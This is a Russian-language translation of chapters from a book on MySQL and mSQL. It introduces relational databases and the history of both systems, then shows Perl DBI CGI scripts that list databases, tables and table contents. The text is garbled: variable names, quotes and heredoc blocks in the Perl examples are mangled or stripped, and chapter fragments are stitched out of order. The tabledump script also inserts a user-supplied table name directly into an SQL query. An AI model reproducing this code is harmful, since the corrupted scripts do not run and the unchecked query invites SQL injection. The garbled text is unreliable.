MySQL & mSQL

Что такое база данных?

База данных - это, попросту говоря, собрание данных. Примером неэлектронной базы данных является общественная библиотека. В библиотеке хранятся книги, периодические издания и прочие документы. Когда нужно отыскать в библиотеке какие-либо данные, вы просматриваете каталог либо указатель периодики или даже справляетесь у библиотекаря. Другой пример - неупорядоченная стопка бумаг, которая может находиться у вас на столе. Когда нужно что-то найти, вы роетесь в этой кипе, пока не найдете нужный листок. Эта база данных может работать (или нет), поскольку ее размер крайне мал. Стопка бумаг, несомненно, будет неэффективна для большого объема данных, такого, например, как библиотечное собрание. Библиотека без картотеки, индекса периодики и библиотекаря останется базой данных, только ей нельзя будет пользоваться. Поэтому, чтобы библиотека имела какую-то ценность, она должна быть организована каким-либо способом. Вашей стопкой бумаг можно было бы пользоваться более уверенно при наличии упорядоченной системы их хранения (тогда, возможно, вы не потеряли бы тот телефонный номер!). Поэтому, уточняя наше определение, мы скажем, что база данных - организованное собрание данных.

У библиотеки и стопки бумаг много сходства. Та и другая являются базами данных, состоящими из документов. Нет никакого смысла, однако, соединять их вместе, поскольку ваши документы интересны только вам, а библиотека содержит документы, представляющие общий интерес. Каждая из баз данных отвечает определенному назначению и организована в соответствии с этим назначением. Поэтому мы еще несколько улучшим наше определение: база данных есть собрание данных, которые организованы и хранятся в соответствии с некоторым назначением.

У традиционных бумажных баз данных много недостатков. Им требуется огромное физическое пространство. Библиотеки занимают целые

здания, и поиск в них осуществляется относительно медленно. Каждый работавший в библиотеке знает, что для поиска порой требуется немало времени. Библиотеки также утомительно содержать в порядке, и для поддержания соответствия содержимого полок и каталогов требуется чрезмерно много времени. Хранение базы данных в электронном виде помогает решать эти вопросы.

MySQL и mSQL не являются базами данных. Фактически они являются компьютерными программами, позволяющими пользователю создавать, поддерживать базы данных и управлять ими. Такой тип программного обеспечения известен как Системы управления базами данных (СУБД). СУБД действует как посредник между физической базой данных и ее пользователями.

Когда вы впервые начинали работать с данными в электронной форме, вы почти наверняка использовали плоский файл. Файл файловой системы является электронной версией стопки бумаг на вашем столе. Вероятно, вы пришли к заключению, что этот тип специальной электронной базы больше не отвечает вашим потребностям. СУБД является следующим логическим шагом для удовлетворения ваших потребностей при хранении информации, и MySQL и mSQL являются первыми шагами в мир систем управления реляционными базами данных.



Что такое реляционная база данных?

Согласно нашему определению, база данных является организованным собранием данных. Реляционная база данных организует данные в таблицы. Вероятно, проще проиллюстрировать понятие таблицы, чем пытаться объяснить его. Таблица 1-1 является примером таблицы, которая может появиться в базе данных по книгам.

Таблица 1-1. Таблица книг



ISBN


Название


Автор


0-446-67424-9
0-201-54239-Х
0-87685-086-7
0-941423-38-7


L.A. Confidential
An Introduction to Database Systems
Post Office
The Man with the Golden Arm


James Ellroy
C.J. Date
Charles Bukowski
Nelson Algren


В таблице 1-2 и таблице 1-3 показаны две таблицы, которые могут появиться в базе данных Национальной Баскетбольной Ассоциации.

Таблица 1-2. Таблица команд НБА



№ команды


Название


Тренер


1


Golden State Warriors


P.J. Carlesimo


2


Minnesota Timberwolves


Flip Saunders


3


L.A. Lakers


Kurt Rambis


4


Indiana Pacers


Larry Bird



Таблица 1-3. Таблица игроков НБА



Имя


Положение


№ команды


Rik Smits


Центровой


4


Kevin Garnett


Нападающий


2


Kobe Bryant


Защитник


3


Reggie Miller


Защитник


4


Stephen Marbury


Защитник


2


Shaquille O'Neal


Центровой


3


Позже мы разберемся в специфике таблиц, а пока обратите внимание на некоторые особенности этих примеров. У каждой таблицы есть название, несколько колонок и строки, содержащие данные в каждой из этих колонок. Реляционная база данных представляет все ваши данные в таких таблицах, как эти, и обеспечивает операции извлечения, генерирующие новые таблицы из уже имеющихся. В результате пользователь видит всю базу данных в виде таблиц.

СУБД для реляционной базы данных часто называется Реляционной системой управления базами данных (РСУБД). MySQL и mSQL являются примерами РСУБД.

Какое отношение ко всему этому имеет SQL? Нам необходимо иметь некий способ взаимодействия с базой данных. Нужно определять таблицы, а также извлекать, добавлять, обновлять и удалять данные. SQL (Structured Query Language - язык структурированных запросов) является компьютерным языком, используемым для выражения операций с базой данных, организованной в реляционной форме (то есть в виде таблиц). SQL является принятым в отрасли стандартом языка, на котором говорит большинство программистов баз данных и который используется большинством пакетов РСУБД. Как следует из их названий, механизм работы с MySQL и mSQL основан на SQL. Из-за своей простоты, однако, они поддерживают лишь подмножество современного стандарта SQL - SQL2. Мы обсудим, в чем именно состоит отличие поддерживаемого MySQL и mSQL диалекта SQL от стандарта, в последующих главах.



в течение многих лет используют

Введение в реляционные базы данных


Большие корпоративные вычислительные центры в течение многих лет используют сложные и дорогие программные продукты для работы с базами данных. Использование этих обладающих полным набором возможностей и тщательно оптимизированных программных систем является единственным способом управления теми объемами корпоративной информации, которые существуют в больших компаниях.

Традиционно пользователи домашних компьютеров вообще не нуждались в базах данных. Они хранят свои данные - адреса, списки дел и т. д. - в маленьких файлах или специализированных покупных программах, вроде электронных таблиц или телефонных справочников.

Но появилась новая категория пользователей компьютеров, находящихся между двумя этими крайностями. Они поддерживают информационные массивы средних размеров, которые требуются в небольших организациях, таких как вновь образовавшиеся предприятия и некоммерческие организации. Иногда эти пользователи не столько малы, сколько являются территориально самостоятельными частями более крупной компании, либо этими новыми пользователями являются просто частные лица, заинтересованные в поддержке сложных, но частных данных, таких, например, как перечень песен любимых ансамблей, который можно выложить на персональную страницу в Интернет. Если вы тот человек, которому нужна база данных, готовый немного потрудиться, чтобы установить ее, и не хотите тратить шестизначные суммы на программный продукт вкупе с отрядом поддерживающих его программистов, то эта книга - для вас.

Эта книга вводит вас в мир разработки малых баз данных с помощью двух популярных продуктов, MySQL и mSQL. Мы начнем с введения в реляционные базы данных и проектирование приложений в реляцион-

ном мире. Если у вас есть опыт работы с реляционными базами данных и их проектированием, вы можете сразу перейти к главе 4, "MySQL" или главе 5, "mSQL", где мы углубляемся в детали практической работы с MySQL и mSQL. Но, если вы собираетесь это сделать, обратите внимание, что в конце данной главы мы приводим краткое введение и сравнение основных возможностей этих продуктов. В оставшейся части книги в основном излагается применение MySQL и mSQL для создания и поддержки того типа приложений, которые важны для таких пользователей, как вы.



MySQL и mSQL

MySQL и mSQL - очень схожие, дешевые, компактные и быстрые базы данных. В этой книге описаны обе эти базы данных, что связано с их крайним сходством. Однако между ними есть и очень важные различия, о которых мы также обязательно расскажем. Обе системы поддерживают программирование на С, Perl, Java (через API Java DataBase Connectivity - JDBC) и Python. Благодаря инструментальным средствам, которые MySQL и mSQL предоставляют для этих языков, можно создавать полноценные клиент-серверные приложения и интегрированные с базами данных веб-сайты, не тратя на это состояния. Это приятное известие для маленьких фирм, публикующих данные в Интернет, и всех тех, кто разрабатывает небольшие клиент-серверные приложения и не может позволить себе приобрести коммерческие продукты.

Дешевизна, а в некоторых случаях бесплатность, MySQL и mSQL не дается даром. Ни одна из этих СУБД полностью не поддерживает SQL. В них отсутствуют некоторые возможности, которые могут понадобиться при создании более сложных приложений. В некоторых случаях приходится также несколько больше потрудиться, разрабатывая клиентскую часть, чтобы достичь того, что дорогие базы данных предоставили бы вам даром. Однако мы научим вас, как делать переносимые приложения MySQL и mSQL, чтобы вы попробовали использовать какие-либо базы данных с более мощными внутренними механизмами, если это вам понадобится, и вам не пришлось бы переписывать весь код, чтобы перейти на большую базу данных. Для понимания того, что же могут предложить эти две СУБД, лучше всего кратко рассмотреть их историю.

История mSQL

До 1994 года вам не удалось бы обзавестись РСУБД с поддержкой SQL, не потратив при этом изрядной суммы денег. На рынке тогда доминировали Oracle, Sybase и Informix. Эти системы управления базами данных были разработаны для обработки огромных объемов данных с очень сложными взаимосвязями. Они были мощными, обладали множеством возможностей, а также требовали больших вычислительных ресурсов и были дороги. В те времена еще нельзя было за $2000 купить сервер с 200-MHz Pentium. Ресурсы, требуемые для этих СУБД, стоили десятки тысяч долларов.


У больших корпораций и крупных университетов не возникало проблем с тем, чтобы потратить за год несколько миллионов долларов на такие комплекты серверов и СУБД. Малым организациям и частным пользователям приходилось довольствоваться слабыми настольными приложениями. Несколько дешевых СУБД с архитектурой клиент/ сервер в то время существовало, но ни в одной из них не использовался SQL в качестве языка запросов. Наиболее примечательной из них была Postgres, имевшая общее происхождение с коммерческой базой данных Ingres. К несчастью, Postgres требовала примерно тех же ресурсов, что и ее коммерческие аналоги, не давая преимущества использования SQL в качестве языка запросов. В то время в Postgres использовалась разновидность языка QUEL, называвшаяся PostQUEL.

Дэвид Хьюз

Часть диссертации, которую Давид Хьюз (David Hughes) (известный также как Bamby) писал в Университете Бонд в Австралии, была посвящена разработке системы мониторинга и управления группой систем из одного или нескольких мест. Проект носил название Minerva Network Management System. Главным элементом Minerva была база данных для хранения данных обо всех компьютерах в сети. Будучи студентом университета и не имея доступа к серверам, на которых работали большие коммерческие базы данных, Хьюз решил, что Postgres - это очевидное решение, вполне отвечающее его потребностям.

Его коллеги предложили сделать SQL стандартным языком запросов для Minerva. В конце концов, SQL был и остается самым общепринятым стандартом языка запросов. Основываясь на SQL, Minerva могла бы использоваться в любой точке света, где установлена поддерживающая SQL СУБД. Иными словами, SQL предоставлял возможности Minerva гораздо более широкому кругу пользователей, нежели PostQUEL, ограничивавший его пользователями Postgres. В конечном итоге оказалось, что сегодня даже Postgres поддерживает SQL.

Желание пользоваться стандартом SQL, с одной стороны, и отсутствие доступа к базе данных, поддерживающей SQL, - с другой, поставили Хьюза в трудное положение. Если использовать в Minerva язык запросов, основанный на SQL, то не удастся найти СУБД с соответствующим механизмом работы. Не имея возможности приобрести дорогую РСУБД, Хьюз нашел творческое решение проблемы: выход в том, чтобы создать программу, "на лету" транслирующую запросы SQL в запросы PostQUEL. Такая программа должна была перехватывать все


посылаемые Minerva предложения SQL, преобразовывать их в PostQUEL и результат пересылать дальше в Postgres. Хьюз написал такую программу и назвал ее miniSQL, или mSQL.

От транслятора PostQUEL к РСУБД

В течение некоторого времени такая конфигурация удовлетворяла потребности Хьюза. Для Minerva было безразлично, какая СУБД используется, если только она понимает SQL, и она считала, что Postgres понимает SQL, поскольку в середине находился mSQL, производивший трансляцию в PostQUEL. К несчастью, по мере роста Minerva ее работа стала значительно замедляться. Стало ясно, что ни Postgres, ни другая большая РСУБД не смогут поддерживать тот небольшой набор возможностей, который требовался для Minerva, на тех ограниченных ресурсах, которые были ей доступны. Например, для Minerva требовалось одновременное подключение к нескольким базам данных. Для поддержки этого Postgres требовал одновременного запуска нескольких экземпляров* сервера базы данных. Кроме того, несколько потенциальных участников проекта не могли принять в нем участие, поскольку Postgres не поддерживал их системы, а они не могли позволить себе купить дорогую СУБД с поддержкой SQL.

Оказавшись перед лицом этих проблем, Хьюз пересмотрел свое отношение к Postgres. По своим размерам и сложности она, возможно, превышала потребности Minerva. Большинство запросов, генерируемых Minerva, представляли собой простые операторы INSERT, DELETE и SELECT. Все остальные возможности, имевшиеся в Postgres и снижавшие производительность, просто не требовались для Minerva.

У Хьюза уже был mSQL, осуществлявший трансляцию SQL. Ему требовалось только добавить хранилище данных и возможности извлечения данных, чтобы получить сервер базы данных, удовлетворявший его потребности. Эта эволюция привела к существующему на сегодняшний день mSQL.

История MySQL

Было бы ошибкой рассматривать MySQL просто как ответ на недостатки mSQL. Ее изобретатель Майкл Видениус (известный также как Monty) из шведской компании ТсХ работает с базами данных с 1979 г. До недавнего времени Видениус был в ТсХ только разработчиком. В 1979 г. он разработал для внутрифирменного использования средство управления базами данных под названием UNIREG. После 1979 года UNIREG была переписана на нескольких разных языках и расширена для поддержки больших баз данных.


Каждый из процессов, в котором выполняется одна и та же-программа, называется экземпляром этой программы, поскольку он занимает память точно так же, как экземпляр переменной занимает память программы.

В 1994 г. ТсХ стала разрабатывать приложения для WWW, используя для поддержки этого проекта UNIREG. К несчастью, UNIREG из-за больших накладных расходов не могла успешно использоваться для динамической генерации веб-страниц. И ТсХ начала присматриваться к SQL и mSQL. В то время, однако, mSQL существовала только в виде релизов 1.x. Как мы уже говорили, версии mSQL 1.x не поддерживали никаких индексов и поэтому по производительности уступали UNIREG.

Видениус связался с Хьюзом, автором mSQL, чтобы узнать, не заинтересуется ли тот подключением mSQL к обработчику В+ ISAM в UNIREG. Хьюз, однако, к тому времени уже далеко продвинулся на пути к mSQL 2 и создал средства для работы с индексами. ТсХ решила создать сервер баз данных, более соответствующий ее нуждам.

В ТсХ работали неглупые люди, которые не стали изобретать велосипед. Они взяли за основу UNIREG и использовали утилиты сторонних разработчиков для mSQL, число которых все увеличивалось, написав для своей системы API, который, по крайней мере первоначально, почти совпадал с API для mSQL. В результате любой пользователь mSQL, желавший перейти на более богатый возможностями сервер баз данных ТсХ, должен был внести в свой код очень незначительные изменения. Тем не менее исходный код новой базы данных был полностью оригинальным.

К маю 1995 г. у ТсХ имелась база данных, удовлетворявшая внутренние потребности компании, - MySQL 1.0. Бизнес-партнер фирмы Давид Аксмарк (David Axmark) из Detron HB стал убеждать ТсХ представить свой сервер в Интернет. Цель представления сервера в Интернет -использование бизнес-модели, пионером которой был Аладдин Петер Дейч (Aladdin Peter Deutsch). Результатом стали очень гибкие авторские права, которые делают MySQL "более бесплатной", чем mSQL.

Что касается названия, то Видениус говорит об этом так: "До конца не ясно, откуда идет название MySQL. В ТсХ базовый каталог, а также значительное число библиотек и утилит в течение десятка лет имели префикс "mу". Вместе с тем мою дочь (на несколько лет младше) тоже зовут Май (My). Поэтому остается тайной, какой из двух источников дал название MySQL".


С момента публикации MySQL в Интернет она перенесена на многие UNIX-системы, под Win32 и OS/2. ТсХ считает, что MySQL использует около 500 000 серверов.

Основные изменения, внесенные в текущую рекомендованную версию 3.22:

  • Усиленная защита.

  • Ускорение соединений, анализа запросов SQL и улучшенный оптимизатор запросов.

  • Поддержка большего числа операционных систем.

  • INSERT DELAYED.

  • Команды GRANT и REVOKE.

  • CREATE INDEX и DROP INDEX.

  • Уровни блокировки HIGH_PRIORITY и LOW_PRIORITY для операторов SELECT, INSERT, UPDATE и DELETE.

  • Новая команда FLUSH, применимая к TABLES, HOSTS, LOGS и PRIVILEGES.

  • Новая команда KILL в SQL, действующая, как kill в Unix или msqladmin.

  • Поддержка выражений в предложении НAVIN G.

  • Сжатие протокола клиент/сервер.

  • Сохранение параметров программы по умолчанию в файлах my.cnf. Основные изменения в разрабатываемой версии 3.23:

  • Таблицы, переносимые напрямую между различными ОС и ЦП.

  • Временные таблицы и таблицы HEAP, хранимые только в ОЗУ.

  • Поддержка больших файлов (63 бит) на операционных системах, которые их поддерживают.

  • Подлинные поля чисел с плавающей точкой.

  • Комментарии к таблицам.

  • Шаблон процедуры ANALYSE().

  • Функции, определяемые пользователем.

  • Значительное ускорение обработки SELECT DISTINCT.

  • COUNT(DISTINCT).

    Дальнейшие усовершенствования, запланированные в 3.23, включают в себя поддержку вложенных операторов SELECT и поддержку репликации баз данных, обеспечивающей распределение нагрузки между несколькими серверами и восстановление в случае аппаратных сбоев.

    MySQL является очень быстро развивающейся платформой баз данных благодаря существованию армии добровольцев-программистов, помогающих строить ее дальше на крепком основании. Поэтому не следует удивляться, если что-либо, верное в момент написания этой главы, больше не соответствует действительности.

    MySQL или mSQL?

    Конечно, мы еще не дали вам сведений, достаточных для принятия решения. Чтобы полностью оценить существующие на сегодняшний день различия между двумя продуктами, необходимо прочесть эту книгу и понять тонкости, представленные нами здесь. На первый взгляд кажется несомненным, что предпочтение следует отдать MySQL. mSQL с течением времени отстала и сейчас уступает в скорости работы. Дэвид Хьюз неудовлетворен и работает над версией 2.1, в которой должны быть устранены многие нынешние недостатки. А в это же время MySQL движется вперед со скоростью света.


    Выбор mSQL может быть продиктован имеющимся у вас инструментарием. Поскольку mSQL существует дольше, вам может оказаться легче найти инструмент, отвечающий вашим специфическим потребностям. К примеру, в момент написания этой книги только для mSQL имелся драйвер JDBC, соответствующий JDBC 2.0. Конечно, положение изменится к тому времени, когда вы прочтете книгу. Тем не менее при выборе базы данных следует руководствоваться соображениями такого типа.

    Независимо от того, какую базу данных вы выберете, вы окажетесь в выигрыше. Обе эти базы данных обеспечат большее быстродействие, чем при любом другом выборе. Для объективного сравнения этих баз данных друг с другом и другими продуктами рекомендуем посетить страницу http://www.mysql.com/crash-me-choose.htmy. Она находится на домашней странице MySQL, но представленные на ней критерии можно свободно проверить, а сама страница сделана очень хорошо.

    Приложения и базы данных

    Согласно нашему определению, база данных есть организованное собрание данных, служащее определенной цели. Простого наличия СУБД недостаточно, чтобы у вашей базы данных появилось назначение. Назначение определяется тем, как вы используете свои данные. Представьте себе библиотеку, в которой никто никогда не читает книги. Будет немного смысла в хранении и организации всех этих книг, если они никогда не используются. Теперь представьте себе библиотеку, в которой нельзя поменять книги или добавить новые. Полезность библиотеки как базы данных будет со временем уменьшаться, поскольку невозможно заменить устаревшие книги и добавить новые. Короче, библиотека существует для того, чтобы люди могли читать книги и находить нужную им информацию.

    Базы данных существуют для того, чтобы люди могли с ними взаимодействовать. В случае электронных баз данных взаимодействие происходит не непосредственно с базой данных, а косвенно — с помощью программного обеспечения. До появления Всемирной паутины (World Wide Web) базы данных обычно использовались большими корпорациями для поддержки различных деловых функций - бухгалтерии и финансов, контроля поставок и складского учета, планирования производства, учета персонала и т. п. Интернет и более сложные задачи домашних вычислений содействовали перемещению потребностей в использовании баз данных за пределы больших корпораций.

    Базы данных и WWW

    Область, в которой развитие баз данных имело особо взрывной характер, и где отличились MySQL и mSQL, - это разработка приложений для Интернет. По мере роста спроса на все более сложные и надежные приложения для Интернет растет и спрос на базы данных. База данных сервера может поддерживать многие важные функции в Интернет. Фактически, любое содержание веб-страниц может управляться базой данных.

    Рассмотрим в качестве примера торговца по каталогу, который хочет опубликовать свой каталог в WWW и принимать заказы через Интернет. Если опубликовать каталог в виде HTML-файла, то кому-то придется вручную редактировать каталог всякий раз, когда добавляется новый товар или изменяется цена. Если же вместо этого держать данные каталога в реляционной базе данных, то становится возможной публикация изменений в каталоге в реальном масштабе времени путем простого изменения в базе данных сведений о товаре и цене. Становится также возможной интеграция каталога с имеющимися системами электронной обработки заказов. Таким образом, использование базы данных для управления таким веб-сайтом дает очевидные преимущества как продавцу, так и покупателю.


    Вот как веб-страница обычно взаимодействует с базой данных. База данных находится на вашем веб-сервере или другой машине, с которой ваш сервер может обмениваться данными (хорошая СУБД позволяет легко организовать такое распределение обязанностей). Вы помещаете на веб-страницу форму, в которую пользователь вводит свой запрос или данные, которые нужно передать. После передачи формы на сервер последний запускает написанную вами программу, которая

    извлекает переданные пользователем данные. Эти программы чаще всего делаются в виде CGI-сценариев или серверных приложений на Java, но возможно также встраивание программы прямо в HTML-страницу. Все эти методы мы рассмотрим в нашей книге.

    Теперь ваша программа знает, какие данные нужны пользователю или что он хочет внести в базу данных. Программа формирует команду SQL для выборки или изменения данных, а база данных чудесным образом делает все остальное. Результаты, получаемые от базы данных, ваша программа может оформить в виде новой HTML-страницы и отправить обратно пользователю.



    DBI

    Рекомендуемым методом доступа к базам данных MySQL и mSQL из Perl является интерфейс DBD/DBI. DBD/DBI означает DataBase Dependent/DataBase Independent (Зависимый от базы данных/Независимый от базы данных). Название связано с двухъярусной реализацией интерфейса. В нижнем ярусе находится зависимый от базы данных уровень. На нем существуют свои модули для каждого типа базы данных, доступного из Perl. Поверх этого уровня находится независимый от базы данных уровень. Это тот интерфейс, которым вы пользуетесь при доступе к базе данных. Выгода такой схемы в том, что программисту нужно знать только один API уровня независимости от базы данных. Когда появляется новая база данных, кому-нибудь нужно лишь написать для нее модуль DBD (зависимый), и она станет доступна всем программистам, использующим DBD/DBI.

    Как и в любом модуле Perl, для получения доступа нужно указать DBI в директиве use:

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use DBI;

    DBIПри запуске программ Perl для MySQL/mSQL следует всегда задавать аргумент командной строки -w. Благодаря этому DBI будет перенаправлять все специфические для MySQL и mSQL сообщения об ошибках на STDERR, и вы сможете увидеть ошибки, вызванные работой с базой данных, не прибегая к явной проверке их в программе.

    Всякое взаимодействие между Perl, с одной стороны, и MySQL и mSQL - с другой, производится с помощью объекта, известного как описатель базы данных (handle). Описатель базы данных (database handle) - это объект, представленный в Perl как скалярная ссылка и реализующий все методы, используемые для связи с базой данных. Одновременно можно открыть любое число описателей базы данных, ограничение накладывают только ресурсы системы. Метод connect() использует для создания описателя формат соединения DBI:servertype:database:hostname:port (имя узла и порта необязательны), дополнительными аргументами служат имя пользователя и пароль:

    my $dbh = DBI->connect( 'DBI:mysql:mydata ', undef, Lindef);

    my $dbh = DBI->connect( 'DBI:mSQL:mydata:myserver', undef, undef);


    my $dbh = DBI->connect( 'DBI:mysql:mydata', 'me', 'mypass")',

    Атрибут servertype является именем специфического для базы данных DBD-модуля, в нашем случае "mysql" или "mSQL" (обратите внимание на точное использование регистра). В первом варианте создается соединение с сервером MySQL на локальной машине через сокет Unix. Это наиболее эффективный способ связи с базой данных, который должен использоваться при соединении на локальном сервере. Если указано имя узла, оно используется для соединения с сервером на этом узле через стандартный порт, если только не задан и номер порта. Если при соединении с сервером MySQL вы не указываете имя пользователя и пароль, то пользователь, выполняющий программу, должен обладать достаточными привилегиями в базе данных MySQL. Для баз данных mSQL имя пользователя и пароль не должны указываться.

    DBIВ Perl 5 используются два соглашения по вызову модулей. В объектно-ориентированном синтаксисе для ссылки на метод определенного класса используется символ стрелки "->" (как в DBI->connect). Другой метод - использование непрямого синтаксиса, в котором за именем метода следует имя класса, а затем - аргументы. В последнем примере метод connect следовало бы записать как connect DBI 'DBI:mysql:mydata', "me', ' mypass . В ранних версиях Msql.pm использовался исключительно непрямой синтаксис, и требовалось придерживаться метода использования заглавных букв, обусловленного mSQL С API. Поэтому значительная часть старого кода MsqlPerl содержит строки типа SelectDB $dbh ' test' там, где можно было бы написать проще: $dbh->selectdb(' test') . Если вы еще не догадались, то сообщаем, что мы неравнодушны к объектно-ориентированному синтаксису, хотя бы потому, что использование стрелки делает ясной связь между классом и методом.

    Как только вы соединились с сервером MySQL или mSQL, описатель базы данных - во всех примерах этого раздела $dbh - становится шлюзом к базе данных. Например, так готовится запрос SQL:


    $dbh->prepare($query);

    DBIПри работе с mSQL для одного описателя базы данных можно одновременно выбрать только одну базу данных, это ограничение накладывается сервером mSQL. Однако в любой момент можно сменить текущую базу данных, повторно вызвав connect . При работе с MySQL можно включать в запрос другие базы данных, явно указывая их имена. Кроме того, и в MySQL, и в mSQL при необходимости одновременного доступа к нескольким базам данных можно создать несколько описателей базы данных и использовать их совместно.

    В главе 21 "Справочник по Perl", описаны все методы и переменные, содержащиеся как в DBI, так и в Mysql.pm и Msql.pm.

    Для иллюстрации использования DBI рассмотрим следующие простые программы. В примере 10-1 datashow.cgi принимает в качестве параметра имя узла; при отсутствии параметра принимается имя "local-host". Затем программа выводит список всех баз данных, имеющихся на этом узле.

    Пример 10-1. Программа CGI datashow.cgi показывает все базы данных, имеющиеся на сервере MySQL или mSQL

    #!/usr/bin/perl -w

    use strict;

    use CGI qw( standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($server, $sock, $host);

    my $output = new CGI;

    $server = param('server') or Sserver = '';

    # Подготовить DBD-драйвер для MySQL

    my $driver = DBI->install_driver('mysql');

    my @databases = $driver->func($server, '_ListDBs');

    # Если параметр @databases неопределен, предполагаем,

    # что на этом узле не запущен

    # сервер MySQL. Однако это может быть вызвано

    # другими причинами. Полный текст сообщения об ошибке

    # можно получить, проверив $DBI::errmsg.

    if (not @databases) {

    print header, start_html('title'=>"Данные no Sserver", 'BGCOLOR'=>'white');

    print<$server

    Ha Sserver , по-видимому, не запущен сервер mSQL. END_OF_HTML

    exit(0); }

    print header, start_html('title'=>" Данные по $host",


    'BGCOLOR'=>'white'); print <$host



    Соединение с $host на сокете $sock.



    Базы данных:



    END_OF_HTML

    foreach(@databases) {

    print "
  • $_\n"; }

    print <




    HTML

    exit(0)

    В примере 10-2 tableshow.cgi принимает в качестве параметров имя сервера базы данных (по умолчанию "localhost") и имя базы данных на этом сервере. Затем программа показывает все таблицы, имеющиеся в этой базе данных.

    Пример 10-2. Программа CGI tableshow.cgi выводит список всех таблиц в базе данных

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль Msql.pm use DBI; CGI::use_named_parameters(1);

    my ($db);

    my $output = new CGI;

    $db = param('db')'or die("He указана база данных!");

    # Connect to the requested server.

    my $dbh = DBI->connect("DBI:mysql:$db;$server", undef, undef);

    # Если не существует $dbh, значит, попытка соединения с сервером

    # базы данных не удалась. Возможно, сервер не запущен,

    # или не существует указанной базы данных, if (not $dbh) {

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white');

    print <$host

    $db



    Попытка соединения не удалась по следующей причине:
    $DBI::errstr



    END_OF_HTML

    exit(0); }

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white'); print <$host

    $db



    <р>

    Таблицы:



    END_OF_HTML

    # $dbh->listtable возвращает массив таблиц,

    # имеющихся в текущей базе данных.

    my ©tables = $dbh->func( '_ListTables' );

    foreach (@tables) {

    print "
  • $_\n"; }

    print <

    END_OF_HTML

    exit(0);

    И наконец, пример 10- 3 показывает, как вывести все сведения о некоторой таблице.

    Пример 10-3. Программа CGI tabledump.cgi выводит сведения об указанной таблице

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($db,Stable);

    my Soutput = new CGI;

    $server = param('server') or $server = ";

    $db = param('db') or die("He указана база данных !");

    # Соединиться с указанным сервером.

    my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

    # Готовим запрос к серверу, требующий все данные

    # таблицы.

    my $table_data = $dbh->prepare("select * from Stable");

    # Посылаем запрос серверу.

    $table_data->execute;

    # Если возвращаемое значение не определено, таблица не существует

    # или пуста; мы не проверяем, что из двух верно.

    if (not $table_data) {

    print header, startjtml( 'title'=>

    "Данные по $host => $db => Stable", 'BGCOLOR'=>'white');

    prin<

    $host



    $db



    Таблицы'Stable' нет в $db на $host.



    END_OF_HTML

    exit(0); }

    # Теперь мы знаем, что есть данные для выдачи. Сначала выведем

    # структуру таблицы.

    print header, start_html( title'=>"Данные по $host => $db => $table",

    'BGCOLOR'=>'white');

    print <$host

    $db

    $table







    <ТН>Поле<ТН>Тип<ТН>Размер<ТН>МОТ NULL END_OF_HTML

    If $table_data->name возвращает ссылку

    # на массив полей таблицы.

    my ©fields = @{$table_data->NAME};

    # $table_data->type возвращает ссылку на массив типов полей.

    # Возвращаемые типы имеют стандартные обозначения SQL,

    # а не специфические для MySQL.


    my @types = @{$table_data->TYPE};

    # $table_data-> is_not_null возвращает ссылку на массив типа Boolean,

    # указывающий, в каких полях установлен флат 'NOT NULL'.

    my @>not_null = @{$table_data->is_not_null};

    # $table_data->length возвращает ссылку на массив длин полей. Они

    фиксированные

    # для типов INT и REAL, но переменые (заданные при создании

    # таблицы) для CHAR.

    my @length = @{$table_data->length};

    # Все перечисленные выше массивы возвращаются в одном и том же порядке,

    # поэтому $fields[0], $types[0], $ndt_null[0] and $length[0] относятся к одному полю.

    foreach $field (0..$#fields) {

    print "\n";

    print "\n"; }

    print <



    Data




    END_OF_HTML

    # Теперь мы будем построчно перемещаться по данным с помощью DBI::fetchrow_array().

    # Мы сохраним данные в массиве в таком же порядке, как и в информационных

    # массивах (§fields, @types, etc,), которые мы создали раньше.

    while(my(@data)=$table_data->fetchrow_array) {

    print "
  • \n ";

    for (0..$#data) {

    print "
  • $fields[$_] => $data[$_]
  • \n"; }

    print ""; }

    print "END_OF_HTML;





    END_OF_HTML



    Язык программирования Perl превратился из

    Perl

    Язык программирования Perl превратился из инструмента, используемого преимущественно администраторами Unix-систем, в наиболее распространенную платформу разработки для World Wide Web. Perl не предназначался изначально для Web, но простота его использования и мощные функции для работы с текстом сделали естественным его применение для CGI-программирования. Сходным образом, когда mSQL впервые появилась на сцене, исключительные компактность и скорость выполнения сделали ее очень привлекательной для разработчиков Web, которым требовалось обслуживать ежедневно тысячи операций. MySQL со своей высокой скоростью и расширенными возможностями стала еще более привлекательным средством для веб-разработчиков. Естественно поэтому, что был разработан интерфейс Perl к обеим базам - MySQL и mSQL, - объединив таким образом их достоинства.

    Язык программирования Perl превратился из В то время, когда пишется эта книга, существуют два интерфейса между Perl и MySQL с mSQL. Более ранний состоит из специализированных интерфейсов Myaql.pm и Msql.pm, которые работают только с MySQL и mSQL соответственно. Другой, более новый интерфейс является подключаемым модулем в комплекте DBI (DataBase Independent) - независимых от базы данных модулей. DBI является попыткой обеспечить общий Perl API для доступа к любым базам данных и предоставления более высокой переносимости. Интерфейс DBI стал наиболее надежным и стандартным, и разработчики MySQL рекомендуют пользоваться только DBI, поскольку дальнейшая разработка модулей Mysql.pm и Msql.pm прекращена. Однако многие унаследованные системы все еще используют их, поэтому мы расскажем здесь и о них.



    Msql.pm

    Модуль Msql.pm является изначальным интерфейсом Perl к mSQL. Хотя его заменили модули DBI, все же осталось много сайтов, основанных на этом старом интерфейсе. Чтобы продемонстрировать использование Msql.pm, мы продолжим работу с нашим примером "помощника учителя".

    Поскольку нам требуется определить школьные классы, в которых будут проводиться экзамены, рассмотрим таблицу предметов. Ее структура выглядит так:

    CREATE TABLE subject (

    id INT NOT NULL,

    name CHAR(500),

    teacher CHAR(100) )

    CREATE UNIQUE INDEX idxl ON subject (
    id,
    name,

    teacher
    )

    CREATE SEQUENCE ON subject

    Число id является уникальным идентификатором школьного класса, а поля name и teacher являются наименованием курса и фамилией преподавателя соответственно. Все три поля проиндексированы, что ускоряет выполнение запросов. И наконец, мы определили последовательность для таблицы. Эта последовательность генерирует ID.

    CGI-программа для обработки этих данных должна выполнять несколько функций:

  • Находить предмет в базе данных.

